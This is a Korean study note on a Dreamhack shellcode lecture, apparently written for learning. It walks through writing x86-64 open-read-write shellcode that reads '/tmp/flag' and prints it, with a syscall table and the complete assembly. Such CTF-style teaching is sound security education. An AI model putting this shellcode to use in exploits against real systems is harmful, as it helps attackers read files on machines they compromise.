dreamhack 쉘코드 강의 정리(1)
익스플로잇
상대 시스템을 공격하는 것
셸코드
익스플로잇을 위해 제작된 어셈블리 코드조각
- 셀을 획득하기 위한 목적으로 셸코드를 사용
- 해커가 rip를 자신이 작성한 셸코드로 옮기면 원하는 어셈블리 코드가 실행되게 할 수 있다.
- 어셈블리어는 기계어와 거의 1:1 대응이기에 모든 명령을 CPU에 내릴 수 있게 된다.
- 자주 사용되는 셸코드 모음이 있지만 이는 범용적으로 작성 되었기 때문에 시스템 환경을 완전히 반영 못함.
- 따라서 최적의 셸코드는 일반적으로 직접 작성해야 함
orw 셸코드 작성
파일 열고 읽은 뒤 화면에 출력해주는 셸코드
구현하려는 기능:
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
orw 셸코드 를 작성하기 위해 알아야 하는 syscall 값들
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
int id = open(”/tmp/flag”, RD_ONLY, NULL);
/tmp/flag 라는 문자열을 메모리에 위치시키는 것이 필요하다.
이를 위해서 스택에 0x616c662f706d742f67(/tmp/flag) 를 push 하여 위치시키도록 만들어야 한다.
스택에는 8바이트 단위만 push 가능함으로 0x67을 우선 push 하고 이후 0x616c662f706d742f를 push 한다. 그리고 rdi가 이를 가르키도록 rsp를 rdi로 옮긴다.
O_RDONLY는 0이므로 RSI는 0으로 설정
// https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24
/* File access modes for `open' and `fcntl'. */
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
파일을 읽을 때 MODE는 의미를 갖지 않는다.
따라서 RDX는 0으로 설정
마지막으로 rax 를 open의 syscall값인 2로 설정.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
read (fd, buf, 0x30)
syscall의 반환값은 rax로 저장된다. 따라서 open 으로 획득한 /tmp/flag의 fd는 rax에 저장된다. read의 첫 번째 인자를 이 값으로 설정해야 함으로 rax를 rdi에 대입
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다.
0x30만큼 읽을 것임으로 rsi에 rsp-0x30을 대입
rdx는 파일로부터 읽어낼 데이터 길이인 0x30으로 설정
read 시스템콜을 호쿨하기 위해 rax를0으로 설정
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
File Descriptor
fd는 유닉스 계열 운영체제에서 파일에 접근하는 소프트웨어에서 제공하는 가상의 접근 제어자.
프로세스마다 고유의 서술자 테이블을 갖고 있고, 그 안에 여러 파일 서술자를 저장.
서술자 각각은 번호로 구별되는데, 0번 : 일반입력(Standard Input, STDIN) 1번 : 일반출력(Standard Output, STDOUT) 2번 : 일반오류(Standard Error, STDERR) 에 할당 이들은 프로세스를 터미널과 연결시켜 준다.
키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있다.
프로세스가 생성된 이후, 위의 open같은 함수를 통해 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당.
write(1, buf, 0x30)
출력은 stdout으로 할것이므로, rdi를 0x1로 설정
rsi와 rdx는 read에서 사용한 값을 그대로 사용
write 시스템콜을 호출하기 위해 rax를 1로 설정
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
완성된 코드
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)